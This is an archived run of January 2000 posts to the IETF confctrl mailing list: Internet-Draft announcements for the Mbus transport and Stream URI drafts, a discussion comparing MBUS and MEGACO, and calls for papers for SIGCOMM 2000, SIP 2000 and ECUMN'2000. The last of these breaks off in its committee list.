	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA05874
	for <confctrl@zephyr.isi.edu>; Tue, 4 Jan 2000 06:25:38 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA20930
	for <confctrl@isi.edu>; Tue, 4 Jan 2000 06:25:46 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28751;
	Tue, 4 Jan 2000 09:25:45 -0500 (EST)
Message-Id: <200001041425.JAA28751@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-01.txt
Date: Tue, 04 Jan 2000 09:25:45 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: A Message Bus for Local Coordination
	Author(s)	: J. Ott, C. Perkins, D. Kutscher
	Filename	: draft-ietf-mmusic-mbus-transport-01.txt
	Pages		: 17
	Date		: 03-Jan-00
	
In a variety of conferencing scenarios, a local communication
channel is desirable for conference-related information exchange
between co- located but otherwise independent application entities,
for example those taking part in application sessions that belong to
the same conference.  In loosely coupled conferences such a
mechanism allows for coordination of applications entities to e.g.
implement synchronization between media streams or to configure
entities without user interaction. It can also be used to implement
tightly coupled conferences enabling a conference controller to
enforce conference wide control within a end system. 
The local Message Bus (Mbus) provides a means to achieve the
necessary amount of coordination between co-located conferencing
applications for virtually any type of conference as postulated in a
a companion requirement document[11]. The Message Bus comprises two
logically distinct parts: a message transport infrastructure and a
set of common as well as protocol/ media/tool-specific messages
along with a conference-specific addressing scheme. This document
deals with message addressing, transport, and security issues and
defines the message syntax for the Mbus.  It does not define
application oriented semantics and procedures for using the message
bus. Application specific command sets and procedures for
applications using the Mbus are expected to be defined in follow-up
documents. 
This document is intended for discussion in the Multiparty
Multimedia Session Control (MMUSIC) working group of the Internet
Engineering Task Force.  Comments are solicited and should be
addressed to the working group's mailing list at confctrl@isi.edu
and/or the authors.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-mbus-transport-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-mbus-transport-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000103111818.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-mbus-transport-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-mbus-transport-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000103111818.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Jan  4 07:31:37 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA08460
	for confctrl-outgoing; Tue, 4 Jan 2000 07:31:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA08455
	for <confctrl@zephyr.isi.edu>; Tue, 4 Jan 2000 07:31:36 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23316
	for <confctrl@ISI.EDU>; Tue, 4 Jan 2000 07:31:45 -0800 (PST)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with ESMTP id QAA20195
	for <confctrl@ISI.EDU>; Tue, 4 Jan 2000 16:31:42 +0100 (MET)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id QAA03678;
	Tue, 4 Jan 2000 16:31:41 +0100 (MET)
To: confctrl@ISI.EDU
Subject: Re: I-D ACTION:draft-ietf-mmusic-mbus-transport-01.txt
References: <200001041425.JAA28751@ietf.org>
From: Dirk Kutscher <dku@informatik.uni-bremen.de>
Date: 04 Jan 2000 16:31:41 +0100
In-Reply-To: Internet-Drafts@ietf.org's message of Tue, 04 Jan 2000 09:25:45 -0500
Message-ID: <cdzoulc0pu.fsf@daemon.informatik.uni-bremen.de>
Lines: 44
X-Mailer: Gnus v5.5/Emacs 20.2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "I" == Internet-Drafts  <Internet-Drafts@ietf.org> writes:

    I> A New Internet-Draft is available from the on-line
    I> Internet-Drafts directories.  This draft is a work item of the
    I> Multiparty Multimedia Session Control Working Group of the
    I> IETF.

    I> 	Title		: A Message Bus for Local Coordination
    I> 	Author(s)	: J. Ott, C. Perkins, D. Kutscher
    I> 	Filename	: draft-ietf-mmusic-mbus-transport-01.txt
    I> 	Pages		: 17
    I> 	Date		: 03-Jan-00
	
Folks,

this is the update we have promised in DC.

Here is the HTML-version:
http://www.dmn.tzi.org/ietf/mmusic/id/draft-ietf-mmusic-mbus-transport-01.html

Changes from the last version:

- the draft is a standalone, application independent specification of
  the Mbus transport protocol and bootstrapping procedures and does
  not contain conference control specific elements anymore;

- the Mbus security and configuration parts have been moved from the
  appendix to the main part as they are required in order to build
  interoperable implementations;

- there is a new mandatory address element, that allows to identify
  Mbus entities uniquely;

- added ABNF definitions for message and configuration entity syntax.

Please post comments to the list!

Currently there is no new version of the semantics drafts that
specifies commands and procedures for local conference control. We are
in the process of re-organizing this and adapting it to the recent
changes.

-- 
	Dirk

From confctrl-owner  Tue Jan  4 16:42:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA02591
	for confctrl-outgoing; Tue, 4 Jan 2000 16:42:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA02583
	for <confctrl@zephyr.isi.edu>; Tue, 4 Jan 2000 16:42:32 -0800 (PST)
Received: from rum.isi.edu (rum-e.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA20968
	for <confctrl@isi.edu>; Tue, 4 Jan 2000 16:42:42 -0800 (PST)
Received: (from touch@localhost)
	by rum.isi.edu (8.8.7/8.8.6) id QAA01859;
	Tue, 4 Jan 2000 16:42:42 -0800 (PST)
Message-Id: <200001050042.QAA01859@rum.isi.edu>
To: confctrl@ISI.EDU
Date: Tue, 04 Jan 2000 16:37:03 -0800
From: Joe Touch <touch@ISI.EDU>
Reply-To: sigcomm2000-info@acm.org
Organization: Sigcomm 2000
MIME-Version: 1.0
Subject: Sigcomm 2000 CFP - reminder
Content-Type: multipart/mixed; boundary="------------37436CC801591A770F5655A2"
Status: O
X-Lines: 148
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--------------37436CC801591A770F5655A2
Content-Type: text/plain; charset="us-ascii"
X-Sun-Content-Length: 1124


			   Call for Papers
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

Paper submission:    January 28, 2000
Tutorial proposals:  February 28, 2000
Paper acceptance:    April 21, 2000

The SIGCOMM 2000 conference seeks papers describing significant
research contributions to the field of computer and data communication
networks. Authors are invited to submit full papers concerned with
both theory and practice. Proposals for tutorials, information on
student paper award eligibility and procedures, and nominations for
the SIGCOMM Award are also sought at this time.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu, or sigcomm2000-info@acm.org)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)
--------------37436CC801591A770F5655A2
Content-Type: text/html; charset="us-ascii"; name="Sc2000CFP-short.html"
Content-Disposition: inline;
 filename="Sc2000CFP-short.html"
X-Sun-Content-Length: 2644

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="Author" content="Joe Touch">
   <meta name="GENERATOR" content="Mozilla/4.7 [en]C-CCK-MCD {Sony}  (Win98; U) [Netscape]">
   <title>Sigcomm 2000 CFP - short</title>
</head>
<body>

<center>
<h1>
<b><font color="#000000">Call for Papers</font></b></h1></center>

<center>
<h1>
<b><a href="http://www.acm.org/sigcomm/sigcomm2000">ACM SIGCOMM 2000 Conference</a></b></h1></center>

<center>
<address>
August 28 - September 1, 2000</address></center>

<center>
<address>
<a href="http://www.grandhotel.se/eng/index.html">Grand Hotel, Stockholm,
Sweden</a></address></center>

<center>
<address>
<a href="http://www.acm.org/sigcomm/sigcomm2000">http://www.acm.org/sigcomm/sigcomm2000</a></address></center>

<center>
<address>
<a href="mailto:sigcomm2000-info@acm.org">sigcomm2000-info@acm.org</a></address></center>

<blockquote>
<blockquote>
<blockquote>
<blockquote>&nbsp;
<table COLS=2 WIDTH="50%" >
<tr>
<td><b>Paper submission:&nbsp;</b></td>

<td><b>January 28, 2000</b></td>
</tr>

<tr>
<td><b>Tutorial proposals:</b></td>

<td><b>February 28, 2000</b></td>
</tr>

<tr>
<td><b>Paper acceptance:</b></td>

<td><b>April 21, 2000</b></td>
</tr>
</table>
</blockquote>
</blockquote>
</blockquote>
</blockquote>
The SIGCOMM 2000 conference seeks papers describing significant research
contributions to the field of computer and data communication networks.
Authors are invited to submit full papers concerned with both theory and
practice. Proposals for tutorials, information on student paper award eligibility
and procedures, and nominations for the SIGCOMM Award are also sought at
this time.
<br>&nbsp;
<dt>
<b>General Co-Chairs</b></dt>

<dd>
Per Gunningberg, Uppsala U., Sweden (<a href="mailto:perg@docs.uu.se">perg@docs.uu.se</a>)</dd>

<dd>
Steve Pink, Lule&aring; U. Tech., Sweden (<a href="mailto:steve@cdt.luth.se">steve@cdt.luth.se</a>)</dd>

<dt>
<b>Program Co-Chairs</b></dt>

<dd>
Christophe Diot, Sprint ATL, USA (<a href="mailto:cdiot@sprintlabs.com">cdiot@sprintlabs.com</a>)</dd>

<dd>
Jim Kurose, U. Massachusetts, USA (<a href="mailto:kurose@cs.umass.edu">kurose@cs.umass.edu</a>)</dd>

<dt>
<b>Publicity Chair</b></dt>

<dd>
Joe Touch, USC/ISI, USA (<a href="mailto:touch@isi.edu">touch@isi.edu</a>,
also <a href="mailto:sigcomm2000-info@acm.org">sigcomm2000-info@acm.org</a>)</dd>

<dt>
<b>Tutorials Chair</b></dt>

<dd>
Steve Pink, Lule&aring; U. Tech., Sweden (<a href="mailto:steve@cdt.luth.se">steve@cdt.luth.se</a>)</dd>

<br>&nbsp;
</body>
</html>

--------------37436CC801591A770F5655A2--


From confctrl-owner  Fri Jan  7 06:37:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA03104
	for confctrl-outgoing; Fri, 7 Jan 2000 06:37:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03094
	for <confctrl@zephyr.isi.edu>; Fri, 7 Jan 2000 06:37:53 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA18909
	for <confctrl@isi.edu>; Fri, 7 Jan 2000 06:38:04 -0800 (PST)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri Jan  7 09:36:05 EST 2000
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id JAA25586
	for <confctrl@isi.edu>; Fri, 7 Jan 2000 09:36:05 -0500 (EST)
Message-ID: <3875F9D5.BD11290@cs.columbia.edu>
Date: Fri, 07 Jan 2000 09:36:05 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: I-D ACTION:draft-fujikawa-stream-uri-00.txt]
Content-Type: multipart/mixed; boundary="------------F86D4ABBBB77644679D2AA6F"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------F86D4ABBBB77644679D2AA6F
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

It seems this discussion is going to be with us for the new millenium as
well...
--------------F86D4ABBBB77644679D2AA6F
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA14979
	for <hgs@opus.cs.columbia.edu>; Tue, 4 Jan 2000 10:39:32 -0500 (EST)
Received: from loki.ietf.org (loki.ietf.org [132.151.1.177])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id KAA11768;
	Tue, 4 Jan 2000 10:39:31 -0500 (EST)
Received: (from adm@localhost)
	by loki.ietf.org (8.9.1b+Sun/8.9.1) id JAA22011
	for ietf-123-outbound.06@ietf.org; Tue, 4 Jan 2000 09:45:01 -0500 (EST)
Received: from ietf.org (odin.ietf.org [10.27.2.28])
	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id JAA21891
	for <all-ietf@loki.ietf.org>; Tue, 4 Jan 2000 09:25:40 -0500 (EST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28737
	for <all-ietf@ietf.org>; Tue, 4 Jan 2000 09:25:38 -0500 (EST)
Message-Id: <200001041425.JAA28737@ietf.org>
Mime-Version: 1.0
To: IETF-Announce: ;;:;
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-fujikawa-stream-uri-00.txt
Date: Tue, 04 Jan 2000 09:25:38 -0500
Sender: nsyracus@cnri.reston.va.us
Content-Type: Multipart/Mixed; Boundary="NextPart"

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Stream URI Scheme
	Author(s)	: F. Kenji, K. Shinobu, T. Tsuyoshi
	Filename	: draft-fujikawa-stream-uri-00.txt
	Pages		: 6
	Date		: 03-Jan-00
	
This document describes the Stream Uniform Resource Identifier which
allows Internet clients to have direct access to multimedia streams.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-fujikawa-stream-uri-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-fujikawa-stream-uri-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-fujikawa-stream-uri-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20000103095711.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-fujikawa-stream-uri-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-fujikawa-stream-uri-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20000103095711.I-D@ietf.org>

--OtherAccess--

--NextPart--



--------------F86D4ABBBB77644679D2AA6F--


From confctrl-owner  Fri Jan  7 22:05:54 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA07939
	for confctrl-outgoing; Fri, 7 Jan 2000 22:05:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA07934
	for <confctrl@zephyr.isi.edu>; Fri, 7 Jan 2000 22:05:53 -0800 (PST)
Received: from routing.net ([62.104.62.39])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id WAA29231
	for <confctrl@isi.edu>; Fri, 7 Jan 2000 22:06:04 -0800 (PST)
Received: from mail.routing.net ([62.104.62.38]) by routing.net  with Microsoft SMTPSVC(5.5.1877.197.19);
	 Sat, 8 Jan 2000 07:06:02 +0100
Received: from orion.twosuns.int (62.144.104.45)
          by mail.routing.net with MERCUR-SMTP/POP3/IMAP4-Server (v3.10.18 AS-0098316)
          for <confctrl@isi.edu>; Sat, 8 Jan 2000  07:00:45 +0100
Received: (from chris@localhost)
	by orion.twosuns.int (8.8.8/8.8.8) id VAA19450
	for confctrl@isi.edu; Fri, 7 Jan 2000 21:01:03 +0100
Message-ID: <20000107210102.A19294@orion.twosuns.int>
Date: Fri, 7 Jan 2000 21:01:02 +0100
From: Christoph Reichert <chris@twosuns.com>
To: confctrl@ISI.EDU
Subject: MBUS vs MEGACO
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.1i
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Henning has stated that MEGACO and MBUS try to solve the same problems.
Colin has stated that the problems are similar, but not the same.

As I understand the MEGACO approach after reading the drafts one time,
the main difference between both approaches seems to be the typical
szenario in which they are to be used.

MBUS favours the needs to control MM-Applications like the MBONE tools 
on an end-users workstation(s). MEGACO is intended to control probably
large and "heavy-weight" Telco equipment with high demands for robustness.

If it is correct that the instances of MM-applications can be represented
as MEGACO "Terminations" and a MEGACO "Context" can be used to group
all instances of MM-application belonging to the same conference, I
suggest the following:

1. the MEGACO drafts explicitly state that MEGACO can be used in the szenarios
   for which MBUS is intended

2. the exmaple section contain an simple example package how, let's say
   the robust audio tool RAT, can be controlled with MEGACO.

3. further work on local control for desktop conferencing systems
   produce a MEGACO package specification.

Best regards
	chris

From confctrl-owner  Tue Jan 11 02:42:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA28629
	for confctrl-outgoing; Tue, 11 Jan 2000 02:42:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA28613;
	Tue, 11 Jan 2000 02:42:03 -0800 (PST)
Received: from smtp1.cluster.oleane.net (smtp1.cluster.oleane.net [195.25.12.16])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA14848;
	Tue, 11 Jan 2000 02:42:15 -0800 (PST)
Received: from oleane  (dyn-1-1-186.Vin.dialup.oleane.fr [195.25.4.186])  by smtp1.cluster.oleane.net  with SMTP id LAA18920; Tue, 11 Jan 2000 11:40:20 +0100 (CET)
Message-ID: <007c01bf5c1f$e584f220$0401a8c0@oleane.com>
From: "Peter Lewis" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@smtp1.cluster.oleane.net;>
Subject: SIP 2000
Date: Tue, 11 Jan 2000 11:37:43 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0079_01BF5C28.461CC100"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0079_01BF5C28.461CC100
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

SIP 2000: beyond H.323?=20
Discussing and debating in Paris May 10-12.
A CFP is online at:
http://www.upperside.fr/basip.htm


------=_NextPart_000_0079_01BF5C28.461CC100
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>SIP 2000: beyond H.323? =
</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Discussing and debating in Paris May =

10-12.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>A CFP is online at:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"http://www.upperside.fr/basip.htm">http://www.upperside.fr/basip.=
htm</A></FONT></DIV>
<DIV></FONT>&nbsp;</DIV></DIV></BODY></HTML>

------=_NextPart_000_0079_01BF5C28.461CC100--


From confctrl-owner  Tue Jan 11 09:40:20 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA15931
	for confctrl-outgoing; Tue, 11 Jan 2000 09:40:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA15926
	for <confctrl@zephyr.isi.edu>; Tue, 11 Jan 2000 09:40:19 -0800 (PST)
Received: from gate.colmar.uha.fr (nscolmar.colmar.uha.fr [194.167.108.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29923
	for <confctrl@isi.edu>; Tue, 11 Jan 2000 09:40:30 -0800 (PST)
From: conf@colmar.uha.fr
Received: by gate.colmar.uha.fr; (8.8.8/1.3/10May95) id SAA11393; Tue, 11 Jan 2000 18:34:41 +0100 (MET)
Received: from somewhere by smtpxd
Message-Id: <3.0.5.32.20000111184116.0090a8b0@colmar.colmar.uha.fr>
X-Sender: conf@colmar.colmar.uha.fr
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Tue, 11 Jan 2000 18:41:16 +0100
To: conf@colmar.colmar.uha.fr
Subject: ECUMN - Extended Deadline Feb 11th.
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id JAA15927
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


My sincere apology if you receive multiple copies of this CFP.
Please feel free to pass the CFP to anyone who might be interested.

Kind regards,

----------------------------------------------------------------------------
 	 	 	
CALL FOR PAPERS
1st IEEE European Conference on Universal Multiservice Networks
ECUMN'2000
IP Networks Versus Conventional Switched Networks
October 2-4, 2000 - CREF, Colmar, France

URL: http://iutsun1.colmar.uha.fr/ECUMN2000.html

Sponsors are the following national scientific societies in Europe, which
cooperate under the roof of: EUREL, Brussels, Belgium: AEI, Milano (Italy),
IEE, London (UK), ÖVE/GIT, Vienna (Austria), SEE, Paris (France), SEV/ITG,
Fehraltorf, (Switzerland), VDE/ITG, Frankfurt (Germany), WSES as well as
the IEEE Communications and Computer.

Supported by:
France Telecom
Alcatel
Newbridge
Other Supporters pending:


Conference Scope:

This conference follows the two successful ATM conferences events held in
Colmar, France in 1998 and 1999. The conference scope has been extended to
deal with the different topics related to Multiservice Network
Architectures, and Implementation, including among others, protocols,
signaling, traffic flow, addressing schemes, …

Fundamental questions still have to find an answer, such as:

How will the Internet, symbol of freedom, compete with the world of
traditional carrier networks or cooperate with it? 
Will alternate Technologies be needed to meet high level quality of service
requirements ?
What restrictions, if any, will result on the desired degree of freedom ?

Emphasis shall be put upon network convergence, including fixed/mobile
convergence  satisfying the needs of person to person communications, as
well as  Information and Entertainment applications.

The scope of ECUMN'2000 encompasses but is not limited to:

Evolution of Telecommunication Networks Architecture:
	*	Core network
	*	Access networks
	*	CPN (Customer Premise Networks including home networks)
	*	Multiservice mobile networks
	*	Interoperability issues, Interfaces and Reference points
Packet, frame and cell protocols:
	*	Addressing
	*	Multicasting
	*	Switching and routing
	*	Signaling
	*	Traffic control and QoS
Network management and control:
	*	Network design - Migration strategies
	*	Active networks versus Intelligent networks
Service impact (multimedia, VPN, ...) on network architecture:
	*	Fixed-Mobile Convergence
	*	Packetized voice
	*	Experimentation and fields trials

With such a variety of problems to be solved, and such high economical
interests at stake there is a definite interest to exchange ideas,
technical results and proposals, between the academic and industrial
communities and this is the major goal of the conference.

Instructions for Authors:

Mail four paper versions or E-mail preferably in Word 6 format, or
alternately a postscript version of a 2000-word extended abstract
summarizing an original work finalized or in progress. All the manuscripts
must be written in English. The top of the first page of each paper should
include the title of the paper, authors' name, position, address, telephone
and fax numbers, Email of the author responsible for correspondence and a
list of four keywords at least. 

Authors of accepted papers will be invited to submit full-length
manuscripts for inclusion in the proceedings. All submitted papers should
be sent to the following address: 

Pascal LORENZ 
University of Haute Alsace 
IUT - Department GTR 
34 rue du Grillenbreit 
68008 Colmar, France 
Phone: +33 389202366 
Fax: +33 389202359 
Mobile: +33 603658042 
E-mail: lorenz@colmar.uha.fr 

Important Deadlines:

Extended abstract due: February 11, 2000
Notification of acceptance: April 10, 2000
Camera-ready full papers due (2 columns, 8 pages max): June 10, 2000

Best papers will be forwarded for consideration in a special issue of the
journal "Annals of telecommunications". A competition for the best student
paper will be organized to recognize and encourage excellence in graduate
studies.

Tutorials:

Tutorials will present overviews of current high interest topics. Proposals
tutorials are due by February 11, 2000.


Conference Committees

General Chair: Pascal Lorenz (France) - University of Haute Alsace
Technical Program Chair: Annie Gravey (France) - France Telecom Cnet
Tutorials Chair: Sylvie Ritzenthaler (France) - Newbridge
Learned Societies Liaison Chair: Renato Israel (France) - SEE
Prosper Chemouil (France) - France Telecom Cnet
Michel Levy (France) - Alcatel
Jean-Louis Pernin (France) - Consultant
Guy Pujolle (France) - University of Versailles-Saint-Quentin
Pierre Rolin (France) - France Telecom Cnet

Scientific Program Committee:

H. Afifi (France) - ENST Bretagne
E. Biersack (France) - Eurecom
M. Boari (Italy) - University of Bologna
D. Bonjour (France) - France Telecom Cnet 
T. Braun (Switzerland) - University of Berne
P. Brown (France) - France Telecom Cnet
P. Chemouil (France) - France Telecom Cnet
G. Colombo (Italy) - CSELT
J.P. Coudreuse (France) - Mitsubishi
W. Dabbous (France) - INRIA
A. Danthine (Belgium) - University libre of Liège
M . Diaz (France) - LAAS
M. Erradi (Morocco) - ENSIAS 
S. Fdida (France) - LIP6
F. Ferrero (Italy) - CSELT 
G. Fiche (France) - Alcatel CIT
A. Gravey (France) - France Telecom Cnet
S.J. Halme (Finland) - Helsinki University of Technology
G. Hébuterne (France) - INT
H.G. Hegering (Germany) - University of Munich
D. Hutchinson (UK) - Lancaster
R. Israel (France) - SEE 
A. Jajszczyk (Poland) - University of Mining & Metallurgy
M. Joubert (France) - Cegetel
F. Kamoun (Tunisia) - ENSI 
M. Karpov (Russia) - St Petersburg University
P. Key (UK) - Microsoft
D. Kofman (France) - ENST Paris
U. Korner (Sweden) - University of Lund
U . Krieger (Germany) - Deutsche Telecom
P. Kuhn (Germany) - University of Stuttgart
G.S. Kuo (Taiwan) - National Central University
M. Labetoulle (France) - Institut Eurecom Sophia-Antipolis
M. Le Boudec (Switzerland) - EPFL
F. Le Faucheur (France) - Cisco
G. Leduc (Belgium) - University of Liege
Y. Legrand (France) - Bouygues
M. Levy (France) - Alcatel
P. Lorenz (France) - University of Haute Alsace 
M. Loukola (Finland) - Helsinki University of Technology
B. Maglaris (Greece) - National Technical University Athens
H. Maher (Switzerland) - EPFL
